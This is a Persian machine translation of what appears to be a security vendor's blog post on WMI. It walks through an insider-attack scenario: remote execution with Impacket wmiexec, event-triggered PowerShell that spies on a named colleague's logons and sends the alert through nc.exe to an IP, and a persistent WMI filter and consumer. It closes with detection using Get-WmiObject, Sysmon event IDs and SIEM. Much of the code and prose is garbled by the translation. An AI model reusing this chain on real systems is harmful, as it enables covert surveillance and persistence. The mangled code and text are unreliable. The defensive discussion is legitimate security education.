راهنمای ابزار مدیریت ویندوز (WMI): درک حملات WMI

Instrumentation Management Windows (WMI) یک سیستم فرعی PowerShell است که به سرورها امکان دسترسی به ابزارهای قدرتمند نظارت بر سیستم را می دهد. اگرچه این سیستم به گونه‌ای طراحی شده است که امکان اجرای سریع و کارآمد سیستم را فراهم می کند ، اما دارای یک جنبه هوشیار نیز است: می تواند توسط خودی به عنوان ابزاری برای پیمایش سایر کارمندان سوءاستفاده شود. این می تواند در تشخیص و رفع تهدیدات خودی بسیار مفید باشد.

در این مقاله ، خواهیم دید که WMI چیست ، چه چیزی برای آن استفاده می شود و چگونه می توانید از آن برای انجام نظارت خودی در سیستم استفاده کنید. ما همچنین یک راهنمای دقیق تر در مورد وقایع WMI و جاسوسی خودی نوشتیم ، که می توانید آن را به صورت رایگان بارگیری کنید.

بررسی سریع: WMI چیست و برای چه مواردی استفاده می شود؟

 ابزار دقیق مدیریت ویندوز از لیست های ذکر شده استفاده می کند

بیایید خاص تر باشیم. با WMI می توانید مثلاً تمام پرونده های بزرگ اکسل موجود در یک فهرست را جستجو کنید ، و هنگامی که یک پرونده جدید که معیارهای اندازه پرونده را دارد ، مثلاً 1 Mb ایجاد شود ، مطلع می شوید. cmdlet Register-WmiEvent همه این کارها را از طریق یک خط تا حدودی پیچیده PowerShell انجام می دهد.

درست همانطور که می توان از WMI برای خوبی استفاده کرد ، انجام برخی هک های ناخوشایند نیز ممکن است. این دانش فنی زیادی لازم نیست ، و شما می توانید یک کارمند شبیه اسنودن را تصور کنید که WMI را به ابزار کنترل کارمندان تبدیل می کند.

شاید خودی فرضی ما – از جمله شانه گشت و گذار – می داند که همکارش لکس گاهی اوقات بزرگ اکسل را بارگیری می کند. پرونده های حاوی تأمین اجتماعی و شماره حساب های دیگر مشتریان. خودی مخفی ما می تواند موارد زیر را جمع کند:

 Register-WmiEvent -Query "SELECT * از __InstanceModificationEvent WITHIN 5 WHERE TargetInstance isa 'CIM_DataFile" و TargetInstance.FileSize> 2000000 و TargetInstance ' == مهم 'و targetInstance.Drive =' C: 'و targetInstance.Extension =' xlsx '"-Action $ action 

کد فوق از شیء CIM_DataFile برای گرفتن جزئیات ایجاد فایل اکسل در یک فهرست خاص پرس و جو می کند و سپس یک بلوک اسکریپت را شلیک می کند. در پایان این پست ، ما بررسی خواهیم کرد که چگونه این اسکریپت ممکن است برای سناریوی خودی به نظر برسد.

ابزارهای مدیریت ویندوز استفاده می کند

قبل از اینکه جزئیات بیشتری را در نظر بگیریم که چگونه WMI می تواند برای خودی استفاده شود. نظارت ، همچنین لازم به ذکر است که WMI کاربردهای قانونی زیادی دارد هدف اصلی این سیستم تثبیت مدیریت دستگاه ها و برنامه های کاربردی در شبکه های شرکتی است ، بنابراین از WMI می توان برای انجام کارها استفاده کرد. wowing:

  • جمع آوری اطلاعات در مورد وضعیت سیستم های رایانه ای محلی یا از راه دور
  • تنظیمات امنیتی دستگاه ها و برنامه های از راه دور
  • تنظیم و تغییر ویژگی های سیستم
  • تنظیم و تغییر مجوز برای کاربران مجاز و گروه های کاربر [19659013] اجرای کد و سریال سازی اشیاء ("SSH بر روی استروئیدها")
  • اختصاص و تغییر برچسب های درایو
  • برنامه ریزی زمانبندی برای اجرای در زمان های خاص
  • تهیه نسخه پشتیبان از مخازن شی
  • فعال و غیرفعال کردن ورود به سیستم خطا

همه از این توابع از طریق ترکیبی از PowerShell و رابط خط فرمان WMI (WMIC) قابل دسترسی است. همانطور که مشاهده می کنید ، استفاده از WMI متنوع است و از این سیستم می توان برای نظارت و تغییر تعداد زیادی تنظیمات در یک شبکه رایانه ای استفاده کرد.

Architecture Instrumentation Management Windows

 معماری ابزار دقیق مدیریت ویندوز با آیکون ها

WMI بخشی از سیستم عامل ویندوز است و از ویندوز 2000 با تمام سیستم عامل های ویندوز از پیش نصب شده است. WMI به عنوان یک سری از اجزا ساخته شده است:

  • خدمات WMI پیاده سازی در ویندوز سیستم WMI است. این فرآیندی است که با نام نمایشگر "Windows Management Instrumentation" اجرا می شود و به عنوان واسطه بین ارائه دهندگان WMI ، مخزن WMI و مدیریت برنامه ها عمل می کند. این کار به طور خودکار در هنگام راه اندازی انجام می شود.
  • اشیاء مدیریت شده هر مؤلفه یا خدمات منطقی یا فیزیکی است که می تواند از طریق WMI مدیریت شود. این شامل طیف گسترده ای از مؤلفه ها است زیرا اساساً به هر پارامتر یا شیئی كه توسط سایر ابزارهای Windows قابل دسترسی است – از جمله مانیتور عملکرد – توسط WMI نیز قابل دسترسی است.
  • ارائه دهندگان WMI اشیایی هستند كه مانیتور هستند. وقایع و داده های یک شی خاص. انواع مختلفی از ارائه دهندگان WMI وجود دارد. برخی عمومی هستند ، برخی خاص دستگاه هستند و ویندوز دارای چندین ارائه دهنده WMI داخلی است.
  • کلاس ها توسط ارائه دهندگان WMI برای انتقال داده ها به خدمات WMI استفاده می شود. آنها حاوی وقایع و ویژگی هایی هستند که امکان ضبط و تنظیم واقعی داده ها را فراهم می آورد. کلاس های سیستم WMI از پیش تعریف شده و با یک زیرنویس دو برابر شروع می شوند.
  • روش ها به کلاس های خاصی وصل شده اند و اجازه می دهند تا اقدامات براساس داده های موجود در آنها انجام شود: برای مثال می توان از روشها استفاده کرد. برای شروع و متوقف کردن فرآیندهای دستگاههای از راه دور. به روشها می توان از طریق برنامه نویسی یا از طریق یک برنامه مدیریت شبکه دسترسی پیدا کرد.
  • مخزن WMI یک پایگاه داده است که کلیه داده های استاتیک مربوط به WMI را ذخیره می کند. داده های دینامیکی در اینجا ذخیره نمی شوند بلکه در عوض از طریق یک کلاس ارائه دهنده WMI نگهداری و وارد سیستم می شوند.
  • CMI Object Manager سیستمی است که بین یک برنامه مدیریتی و ارائه دهندگان WMI قرار دارد. این داده ها را از این ارائه دهندگان درخواست می کند و سپس آن را به برنامه درخواست کننده باز می گرداند.
  • WMI API این امر را محقق می کند و راهی را برای دسترسی برنامه ها به زیرساخت های WMI مستقل از دستگاه فراهم می کند.
  • WMI Consumer شرکتی است که از طریق مدیر شیء سؤالات را به اشیاء ارسال می کند. به طور معمول ، یک مصرف کننده WMI یا یک برنامه نظارتی است ، مانند PRTG Network Monitor ، یک برنامه مدیریتی یا یک اسکریپت ، مانند یک اسکریپت PowerShell.

نحوه اجرای یک پرس و جو WMI

ابتدایی ترین روش برای اجرای پرس و جو WMI WMIC را در سریع دستور Windows ویندوز اجرا می کند. برای برگرداندن اطلاعات مربوط به پردازنده در حال اجرا در دستگاه محلی ، ما این مراحل را دنبال می کنیم:

  1. یک فرمان سریع را باز کنید
  2. WMIC را تایپ کنید تا برنامه را فراخوانی کنید و وارد کنید
  3. . این به شما دستور WMIC را سریع می دهد ، wmic. : root cli & gt؛
  4. از اینجا ، می توانید نمایش داده شد WMI. اساسی ترین بازگشت اطلاعات مربوط به CPU محلی است که می تواند با دستور زیر انجام شود:
 CPU WMIC 
  1. شما نتایج را در دستور فرمان

مشاهده می کنید. اساساً تمام دستوراتی که در ادامه خواهیم گفت به این روش کار کنید ، اما WMI می تواند اطلاعات بسیار مفصلی را از آنچه که از این دستور واحد دیده ایم ، برگرداند ، و می تواند آن را برای دستگاه ها و برنامه های از راه دور نیز انجام دهد.

درس در WMI Eventing و Surveillance

در این در این بخش ، به چگونگی استفاده از WMI برای اجرای دستورات روی دستگاههای از راه دور و چگونگی استفاده از آن برای بررسی فعالیتهای روی آنها خواهیم پرداخت. روش هایی مانند این می تواند به عنوان بخشی از یک سیستم کاربرپرداز رفتار اخلاقی (UEBA) استفاده شود تا به طور خودکار آنچه را که در کل سیستم شما اتفاق می افتد را کنترل کنید ، و تهدیدات خودی را که توسط رفتار مشکوک یا حوادث غیر عادی نشان داده شده است ، بررسی کنید.

نحوه استفاده از Impacket Wmiexec

تعداد بیشتری از قابلیت های مدیریت رویداد در WMI وجود دارد. همچنین می تواند فرایندها را راه اندازی و دستورات را روی جعبه های ویندوز ، بصورت محلی یا از راه دور اجرا کند. برای لگد زدن می توانید این دستور را در جلسه PowerShell خود وارد کنید ، فراخوانی فرآیند wmic ایجاد "notepad.exe" ، تا ویرایشگر متن میراث Microsoft را تهیه کنید. از ابزار خط فرمان wmic شگفت انگیز WMI استفاده می کند. خوب ، درست است؟

اگر من گزینه "/ گره:" را اضافه کردم که نام آن را از راه دور ویندوز نامیدم ، می توانم با فرض داشتن مجوزهای مناسب ، Notepad را روی آن دستگاه راه اندازی کنم. بدیهی است ، در سطح عملی ، wmic یک دستیار باورنکردنی برای sysadmins است.

و قبل از شروع به فریاد زدن در مرورگر ، می دانم cmdlets معادل PowerShell نیز وجود دارد ، اما می توانم نحو wmic را راحت تر به خاطر بسپارم.

این عالی خواهد بود اگر بتوانم WMI را به نوعی خنجر بزنم تا یک پوسته پوسته ساده و مخفی خلق کنم؟

 شبه پوسته WMI
شبه پوسته مخفی با wmiexec.

خوشبختانه ، Impacket همین کار را می کند. در محیط تست آمازون ، من از wmiexec عالی آن برای دسترسی به WMI از لینوکس VM خود استفاده کردم. Wmiexec یک تجربه شبه پوسته قابل اجرا را ارائه می دهد ، که برای هر دستور وارد شده در سمت مشتری ، آن را مستقیماً برای اجرای دستور ، یک پوسته جداگانه بر روی دستگاه هدف راه اندازی می کند.

هم از psexec و هم smbexec استفاده کنید – به پست قبلی من مراجعه کنید – ویندوز خدمات برای اجرای دستورات روی سیستم از راه دور. Smbexec کمی خفاش است از آنجا که به سرعت ایجاد می شود و سپس سرویس را حذف می کند ، در حالی که psexec سرویس تلگراف را ترک می کند.

 فرمان از راه دور Wmiexec
Wmiexec مستقیماً cmd.exe را اجرا می کند تا یک فرمان را از راه دور اجرا کند. در Event Viewer ، می توانید دستور واقعی که ساخته شده است را مشخص کنید. توجه: از خدمات پر سر و صدا ویندوز خودداری کرد.

به هر حال ، wmiexec Impacket از خدمات کاملاً اجتناب می کند ، به جای اینکه به قدرت فوق الذکر WMI برای شروع مستقیم یک فرآیند تکیه کند. به خاطر داشته باشید كه WMI معمولاً در وهله اول مقامات مدافع به عنوان منبع احتمالی تهدیدات تحقیق نمی كنند ، در حالی كه این سرویس ها معمولاً شروع خوبی برای جستجوی شواهد حمله است. خوب بازی ، wmiexec!

استفاده از رویدادهای WMI برای نظارت کاربر

در حالی که فکر می کردم در آزمایش های WMI خودم باهوش هستم ، معلوم است که جامعه تست کننده قلم در آنجا بوده و این کار را انجام داده است! من از شما می خواهم که توضیحات شگفت انگیز 2015 BlackHat از مت Graeber را بخوانید که چگونه مهاجمان می توانند WMI و ابزار تحریک کننده رویداد آن را به یک ابزار هک کردن تبدیل کنند.

برای سناریوی خودم ، من خودم را متقاضی خودی مانند اسنودن که دارای دانش فنی است ، اما خرد عمیق هکر نیست و در جایگاه اعتماد است. این شخص نیازی به دانستن کلیه قابلیت های WMI ندارد ، اما کافی است تا قابلیت های از راه دور و قدرت خود را برای ایجاد رویدادها انجام دهد.

در کنار اشیاء پرونده ، یک کلاس جالب دیگر از اشیاء که می توانند با WMI مورد بررسی قرار گیرند win32_LogOnSession است. شما برای یافتن کاربرانی که در حال حاضر وارد سیستم شده اید ، از این شیء اساسی Windows پرس و جو می کنید. و سپس وقتی کاربر جدید از راه دور وارد سیستم می شود ، از بلوک اسکریپت عملکرد Register-WmiEvent استفاده کنید تا یک اسکریپت PowerShell را شروع کنید. گرفتش؟ مهاجمان را می توان هر زمان که کاربرانی را که قصد ورود به سیستم در ویندوز هدفمند را دارد ، مطلع کرد.

این چیزی است که من آن را پخته ام. AND TargetInstance.LogonType = 3 "- عمل $ $

سوال بعدی نحوه رمزگذاری بلوک اسکریپت است. خودی اسطوره ای در سناریوی من به یک کاربر خاص ، Cruella علاقه دارد. کارمند شیطانی ما OSINT را در Cruella داشت و قصد داشت از این دانش برای کاستن از اعتبار DCC خود استفاده کند.

بلوک فیلمنامه باید بررسی کند که چه کسی در حال حاضر وارد سیستم شده است و آیا Cruella نشان داده است. من برای انجام کار چند خط PowerShell آورده ام ، اما خیلی کارآمد نیست! من از اطلاعات رویداد منتقل شده در بلوک اسکریپت – کاربر جدید استفاده نمی کنم. به نظر می رسد به دلایلی که نمی توانم در این مرحله به آن دسترسی پیدا کنم ، کار دشواری است و ممکن است دانش فنی بیشتری نسبت به خودی فرضی ما داشته باشد یا بخواهد یاد بگیرد.

در عوض ، من فقط از طریق لیست کاربران بازگشتم. توسط gwmi Win32_Process – شما باید سعی کنید این cmdlet را در جلسه PowerShell خود اجرا کنید – و روی "Cruella" مطابقت دهید. می توانید به راه حل کامل زیر نگاه کنید:

 Register-WMIEvent -Query "TargetInstance را از __InstanceCreationEventin 10 WHERE TargetInAnT انتخاب کنید. 'win32_LogOnSession' و TargetInstance.LogonType = 3 "-Action

$ names = gwmi Win32_Process |٪ {$ _. GetOwner (). کاربر}
foreach ($ کاربر به نام $) {

    if ($ کاربر -eq "cruella") {

        echo "cruella ورود به سیستم" | ج:  کاربران  لکس  اسناد  nc.exe 172.31.19.75 80
    }
}


} 

نکته جالب توجه استفاده از Register-WmiEvent این است که به طور مؤثر روی یک رویداد ورود به سیستم ایجاد کنیم نه اینکه به طور مرتب شیء Win32_Process را گردآوری کنیم ، که یک کار پر سر و صدا است.

به خاطر داشته باشید که خودی ما کم کم است. وی از طریق psexec ، smbexec یا مخفی ترین گزینه wmiexec به سیستم از راه دور دسترسی دارد ، اما نیازی نیست که به سیستم قربانی بپردازد.

و این مزیت استفاده از رویدادهای WMI است. می توانید حرکت جانبی خود را هنگام دریافت اعلان از Register-WmiEvent انجام دهید.

ادغام Netcat و WMI

چگونه اسکریپت می تواند این خبر جالب را که Cruella به سیستم مورد نظر وارد کرده است ، برگرداند؟

شما که استفاده از دستورات Netcat را در بالا مشاهده کردید ، اعتبار بیشتری کسب خواهید کرد. Netcat ابزاری برای ارتباطات شناخته شده و همه کاره است – لزوماً بدافزار محسوب نمی شود – که پوسته های معکوس ظاهر می شود ، یا می تواند به سادگی پیامی را در شبکه ارسال کند. من با گزینه دوم رفتم.

اسکریپت فوق Netcat را در حالت گوش دادن ارسال می کند و "Cruella به سیستم وارد می شود" را نمایش می دهد. ماموریت انجام شد.

شما می توانید به کارمند سرکش ما تصور کنید ، سپس با استفاده از اسرارپرداخت Impacket ، ترک کردن هشدار DCC Cruella و همچنین استفاده از امتیازات بالاتر خود ، برای یافتن اطلاعات جالب تر از کارمندان سرکشگر ما ، اقدام به پرتاب هشیی کنید.

می توانید کد Register-WmiEvent را مستقیماً راه اندازی کنید. به شناسه واقعه ای که نمایش داده می شود توجه کنید.

عیب یابی WMI Surveillance

در این سناریو ، من می خواستم از راه دور (با استفاده از wmiexec) بارگیری را راه اندازی کنم که هنگام ورود یک کاربر خاص ، Cruella ، وارد سیستم شود. و سپس من می توانم اعتبارنامه های او را ریخته و خرد کنم. به هر حال ، این می تواند مخفی ترین روش برای از بین بردن این کار باشد – از راه دور و بدون فیلتر. در ابتدا فکر می کنم تنها مشکل موقت وقایع WMI است.

بنابراین من نیاز داشتم تا ثبت نام ناعادلانه Register-WMIEvent (در زیر) را در یک خط فرمان PowerShell با گزینه –noexit ، تضمین کنم که PowerShell بعد از اجرای Register-Event و در نتیجه حفظ این رویداد ماندگار شوید.

 Register-WMIEvent -Query "انتخاب TargetInstance را از __InstanceCreationEvent با 10 WHERE TargetInstance ISA 'win32_LogOnSession" و TargetInstance.LogonTtion = 3 " Win32_Process |٪ $ _. GetOwner (). کاربر}؛ foreach ($ کاربر به نام $) {if ($ user -eq "cruella") {echo "cruella وارد شده است" | C:  Users  lex  Documents  nc.exe 172.31.19.75 80}}} 

از آنجا که این کار را شروع کردم ، با آه بلند ، متوجه ضرورت "فرار" از شخصیت های خاص مانند $ ، "و | و آنها را به عنوان کلمات مستقیم به PowerShell منتقل کنید. سردردهای بیشتر: من در نهایت مجبور شدم از استفاده از لوله ها خودداری کنم زیرا به نظر می رسد باعث ایجاد خطاهای تجزیه شده است. نپرس من سرانجام با این تک لاینر طولانی و طولانی روبرو شدم:

 $ command = "powerhell -noexit -C Register-WMIEvent -Query" "انتخاب TargetInstance را از __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' و TargetInstance. "" -Action `$ names = gwmi Win32_Process؛` $ user = @ ()؛ foreach (`$ n در` $ names) {`$ کاربران + =` $ n.GetOwner () کاربر}؛ foreach (` $ u در `$ کاربران) {if (` $ u -eq "" cruella "") {C:  کاربران  lex  اسناد  nc.exe 172.31.18.92 80}}}




 wmiexec.exe corp.acme/[email protected] "$ فرمان" 

ظاهراً امیدوارکننده به نظر می رسید و به نظر می رسید که براساس جستجوی ورود به رویداد Windows در سیستم مورد نظر به درستی اجرا شود. با این حال ، با بررسی دقیقتر ، این کار نکرد! من مطمئناً سرانجام – با داشتن کافی اسپرسو – می توانم چیزی را با هم wangle. گزینه دیگر ، هرچند کمتر مخفی و کم پرونده باشد ، استفاده از smbclient از Impacket برای انتقال اسکریپت واقعی است ، و سپس آن را مستقیماً روی هدف اجرا کنید.

 اجرای نادرست یک cmdlet پیچیده ثبت-رویداد
اجرای از راه دور من cmdlet پیچیده Register-Event صحیح به نظر می رسد. اما اعدام نشد. اوه خوب.

متأسفانه ، فرضیات من در این مرحله از هم پاشیده می شوند – این که یک خودی تا حدودی زرنگ اما نه خیلی پیشرفته می تواند به راحتی از وقایع موقت WMI برای نظارت خلوت بهره ببرد.

چرا از رویدادهای دائمی برای نظارت موفقیت آمیز استفاده می کنید؟

روشی که این کار واقعاً باید انجام شود اما به یک منحنی یادگیری بیشتر نیاز دارد ، استفاده از رویدادهای دائمی WMI است. این موضوعی است که در نمایشگاه شگفت انگیز کلاه سیاه مت مت گربر قرار دارد. رویدادهای دائمی WMI ، هر چند تا حدودی پیچیده ، اما روشی مؤثرتر است که خودیها بجای استفاده از رویدادهای موقتی ، تحت نظارت همکاران خود انجام دهند و راهی بسیار بهتر برای نظارت بر تهدیدهای خودی است.

وقایع دائمی ، گرچه کمی طول می کشد. طولانی تر برای یادگیری چگونگی استفاده ، مؤثرترین روش اجرای یک سیستم نظارت دقیق برای سیستم های بزرگ هستند. آنها قابلیتهایی را که از طریق رویدادهای موقتی WMI در دسترس است ، گسترش می دهند ، همچنین می توانند برای هشدار دادن به شما در مورد اشکال عجیب و غریب تر از رفتارهای مخرب استفاده کنند: به عنوان مثال ، تونل سازی DNS یا تلاش برای زیرپا گذاشتن سیاستهای Zero Trust. سه نفر به بررسی رویدادهای دائمی پرداختند و دریافتند که PowerShell دارای یک cmdlet مخصوص است که روند ایجاد اشیاء WMI فیلتر ، مصرف کننده و فیلتر مصرف کننده را ساده می کند. همانطور که همه ما می دانیم ، PowerShell به مدیرهای فوق العاده ای برای آسان تر کردن امور می دهد. متأسفانه ، این نمونه ای از جایی است که این قدرتها می توانند توسط افراد بد استفاده شوند.

خودی یک رویداد دائمی را در سیستم هدف ایجاد می کند و از این طریق او را از مجبور به قطع شدن در یک جلسه پوسته خلاص می کند – این رویداد برای همیشه یا تا زمان آن باقی می ماند. صریحاً حذف شده است. می توانید اطلاعات بیشتری در مورد چگونگی انجام این کار در اینجا بخوانید ، اما مشابه آنچه که من با یک رویداد موقتی توصیف می کردم ، مشابه است. سرانجام ، آنها باید فیلتر رویداد را با مصرف کننده رویداد پیوند دهند.

موافقم: این شروع می شود به دنبال افزایش بیش از حد برای یک کارمند متوسط ​​که به خودی خود تبدیل شده است. برای لگد زدن ، من در انجمن ها بررسی کردم ، و بسیاری از افراد موهای جمعی خود را بیرون می کشند و سعی می کنند تا رویدادهای دائمی WMI را برای کار به دست آورند. با این حال ، این تکنیک خارج از قابلیت های اسنودن یا دیگر سیستم های مدیریت هوشمند نیست که تصمیم می گیرند تهدید شوند.

رویدادهای دائمی: نکاتی برای IT Admins

 نکات نظارت بر ابزار دقیق مدیریت ویندوز [19659002اینروشهابهمعنایمحلیبرایهکرهایاحتمالییاکارکنانناراضینیستکهمیخواهنداعتصابکننددرعوض،ایدهایناستکهبهکارکنانITاطلاعاتیکمیدرموردذهنهکردادهشودوآنهارامجبوربهانجامسناریوهایتستقلمکنندباتوجهبهایننکته،دراینجانحوهتنظیمفیلترWMIواشیاءمصرفیباcmdletSet-WmiInstanceآمدهاست:

 $ Filter = Set-WmiInstance - root nameserace  اشتراک - کلاس __EventFilter -Argument @

EventNamespace = 'root / cimv2'
نام = "کرولا"
پرس و جو = "SELECT * از __InstanceCreationEvent درون 10 کشور که هدف ISA" Win32_LoggedOnUser ""
QueryLanguage = 'WQL'
}


$ command = "owershell.exe -Command $ names = gwmi Win32_Process؛ $ user = @ ()؛ foreach ($ n به $ نام ها) {$ کاربران + + $ n.GetOwner () کاربر}؛ foreach ($ u در $ کاربران) {if ($ u -eq 'cruella') {C:  کاربران  lex  اسناد  nc.exe 172.31.45.240 10000}}} "


$ Consumer = Set-WmiInstance -Namespace root  اشتراک -Class CommandLineEventConsumer -Argument @
نام = "مصرف کننده"
CommandLineTemplate = $ فرمان

} 

PowerShell را برای اتصال این دو ، فیلتر و مصرف کننده ، به عنوان یک تکلیف در خانه ، ترک خواهم کرد.

در آزمایش خودم ، من توانستم بدون موهای زیاد ، رویداد دائمی خود را بر روی سیستم هدف کار کنم. کشیدن به خاطر داشته باشید که این اتفاق برای انجام رویدادهای موقت WMI که فقط تا زمان جلسه PowerShell طول می کشد بسیار دشوار است.

با تنظیم یک رویداد دائمی WMI برای گفتن ، نظارت بر شخصی که در سیستم ورود دارد ، خودی یا هکر ندارد. برای ماندن در سیستم هدف. امتیاز اضافی این است که رویداد دائمی WMI نیز پایدار است: در صورت راه اندازی مجدد رایانه ، محرک های این رویداد باقی می مانند. این امر باعث می شود که رویدادهای دائمی WMI راهی قدرتمند و مخفیانه برای شروع حمله ای باشد که لزوما فقط نظارت را شامل نمی شود. بخاطر داشته باشید که رویداد WMI اولین توقف آشکار برای کارمندان امنیتی نیست که یک حمله را تحلیل می کنند.

برای مثال ، مصرف کننده رویداد PowerShell می تواند با بارگیری – با استفاده از DowloadString – بدافزارهایی که روی یک سرور از راه دور نگه داشته می شوند ، به عنوان یک لانچر عمل کند. ارائه فوق العاده Black Hat (مت Graeber) بیش از همه توانایی های شرور وقایع دائمی WMI را دارد.

به عنوان یک مدافع ، چگونه می توانید شروع به مقابله با رویدادهای WMI به عنوان ابزاری برای هک کنید؟

خوشبختانه راهی وجود دارد که بتوانید لیست رویدادهای دائمی WMI با Get-WMIObject ” width=”800″ height=”728″ />

فهرست رویدادهای دائمی WMI را با لیست Get-WmiObject (alias gwmi) cmdlet لیست کنید:

 فهرست رویدادهای دائمی WMI را با Get-WMIObject
لیست رویدادهای دائمی WMI را با Get-WMIObject و تنظیم پارامترهای مناسب لیست کنید. توجه: هیچ زمانی برای ایجاد زمان ایجاد نشده است.

و اگر فیلتر رویداد دائمی (یا مصرف کننده) مشکوک به نظر برسد ، IT می تواند با حذف آن توسط یک خط لوله PowerShell و cmdlet WMI-removeObject cmdlet را غیرفعال کند:

 حذف WMI رویدادهای دائمی با استفاده از خط لوله PowerShell
حذف رویدادهای دائمی WMI شامل خط لوله PowerShell می باشد.

توجه: در مورد زمان ایجاد این رویداد و کاربری که کار شر را انجام داده است ، هیچ اطلاعی در دست نیست. برای این اطلاعات پزشکی قانونی ، باید در پرونده های رویداد Windows وارد شوید.

آیا می توان رویدادهای دائمی WMI را غیرفعال کرد؟

حداقل IT راهی دارد که بتواند رویدادهای دائمی WMI را که به ثبت رسیده اند به سرعت ببیند و سپس بتواند به دنبال علائم تهدید به جستجوی اسکریپت های رویداد واقعی بپردازد. شاید به عنوان یک متخصص امنیت اطلاعات در فناوری اطلاعات ، تصمیم بگیرید که هرکسی به WMI روی لپ تاپ های خود احتیاج نداشته باشد و بهترین راه حل برای مقابله با رویدادهای دائمی WMI غیرفعال کردن WMI است.

آنها می توانند سعی کنند سرویس Winmgmt را که WMI را اجرا می کند متوقف کنند. به نظر می رسد این آسان نیست. در آزمایش خودم ، من نتوانستم این سرویس را تحت تأثیر قرار دهم – به طور خودکار خودش را مجدداً راه اندازی کرد.

اما بگذارید بگوییم که شما موفق به متوقف کردن آن هستید. نرم افزار اداری ویندوز به شدت وابسته به WMI است و در صورت عدم دسترسی Winmgmt کار نخواهد کرد. هشدارهایی در سراسر وب و تالارهای گفتگو در مورد این راهکار غیرفعال کردن WMI وجود دارد. من به آنها گوش خواهم داد: احتیاط WMI!

کشف تهدیدات رویداد WMI با Sysmon و SIEM

خلاصه: شما باید تهدیدهای رویداد WMI را به عنوان یک واقعیت زندگی بپذیرید. خوشبختانه ، روشهای مؤثرتری برای کشف رویدادهای دائمی و سایر فعالیتهای مشکوک ویندوز نسبت به استفاده از cmdlet Powershell فوق الذکر وجود دارد.

Sysmon وجود دارد! من نمی توانم در این پست به کلیه جزئیات این freebie ویندوز – که در اینجا قابل بارگیری است – مراجعه کنم ، اما اطلاعات پزشکی بسیار مفیدی را در یک نقطه فراهم می کند تا اینکه به پرونده های جداگانه Windows Event نگاه کنید. توجه: افرادی که دارای Windows 7 و بالاتر هستند ممکن است به قابلیت Sysmon نیاز نداشته باشند زیرا ورود به سیستم استاندارد در این سیستم های جدید ویندوز بهتر است.

 ورود به سیستم رویداد Sysmon
Sysmon! در هر صورت ، Sysmon شناسه رویداد 19 را به ایجاد یک رویداد فیلتر WMI دائمی اختصاص می دهد (20 مورد برای ایجاد یک رویداد مصرف کننده WMI و 21 برای اتصال WMI). اگر در Event Viewer مرور کنید ، می توانید گزارش رویداد Sysmon را در زیر Microsoft-> ​​Windows-> Sysmon جستجو کنید.

شما نمی خواهید به صورت دستی به Viewer Event دسترسی داشته باشید ، و جستجو برای رویدادهای دائمی WMI که می تواند نشانه آن باشد. فعالیت هک کردن راهنما اینجاست!

چرا یک فیلتر رویداد WMI دائمی برای نظارت بر ایجاد ایجاد نمی کنید – شما حدس می زنید این یک رویداد دائمی WMI است؟

یک پروژه کوچک مرتب در GitHub وجود دارد که کد انجام این کار را فراهم می کند. در اینجا قطعه کد برای فیلتر رویداد WMI برای تشخیص ایجاد… یک فیلتر رویداد WMI وجود دارد:

 $ Filter = Set-WmiInstance - root root  اشتراک criptionClass __EventFilter -Argument @ {
EventNamespace = 'root / اشتراک'
نام = '_PersistenceEvent_'
Query = 'SELECT * از __InstanceCreationEvent درون 5 در جایی که TargetInstance ISA "__EventConsumer" "

QueryLanguage = 'WQL'
} 

بدیهی است ، SIEM در اینجا بازی می شود زیرا شواهد جعلی در پرونده های مدفون است. من فکر می کنم شما می توانید ببینید که این در کجا می رود. برای شناسایی و کاهش حوادث دائمی WMI به یک راه حل نظارت امنیتی نیاز دارید که SIEM را با دیگر تجزیه و تحلیل تهدیدها ترکیب کند.

سؤالات متداول مدیریت ویندوز

اگرچه از تکنیک های فوق می توان برای اجرای سیستم نظارت در سراسر شبکه استفاده کرد ، شما هنوز هم ممکن است سوالات بی پاسخ در مورد WMI داشته باشید. در این بخش ، ما به متداول ترین سؤالات پاسخ خواهیم داد.

آیا WMI مستهلک شده است؟

WMI خود به خودی خود محو نمی شود ، اما بسیاری از افراد در این نکته اشتباه می گیرند زیرا WMIC کم ارزش است. اکنون از PowerShell برای تأمین کارایی WMIC استفاده می شود.

WMI از چه پورتهایی استفاده می کند؟

WMI از پورت TCP 135 و طیفی از پورت های پویا استفاده می کند: 49152-65535 (پورت های پویا RPC – ویندوز ویستا ، 2008) و بالاتر) ، TCP 1024-65535 (پورت های پویا RPC – ویندوز NT4 ، ویندوز 2000 ، ویندوز 2003) ، یا می توانید WMI را برای استفاده از محدوده ای از پورت های سفارشی تنظیم کنید.

آیا WMI از WimRM استفاده می کند؟

استاندارد ، اما می توانید از WMI برای به دست آوردن داده ها با اسکریپت ها یا برنامه هایی که از API Scriptting WinRM یا از طریق ابزار خط فرمان Winrm استفاده می کنند ، استفاده کنید. WinRM می تواند WMI را برای جمع آوری داده ها درباره منابع یا مدیریت منابع بر روی سیستم عامل مبتنی بر ویندوز به کار گیرد.

A Final Word

همانطور که دیدیم ، WMI ابزاری قدرتمند را برای نظارت بر فرآیندهای از راه دور و ماشین ها و می توان هنگام ساخت EUMA برای تهیه هشدارهای خودکار درباره فعالیت کاربر مشکوک مورد استفاده قرار گرفت. این باعث می شود تا ابزاری عالی برای شناسایی و رفع تهدیدات خودی ، تلاش برای دستیابی به سیاستهای امنیتی و یا صرفنظر کردن از شیوه استفاده سیستمهای شما باشد.

اگر می خواهید در مورد چگونگی استفاده بیشتر بدانید. WMI برای انجام نظارت بر خودی ، می توانید راهنمای مفصل ما را در اینجا بارگیری کنید.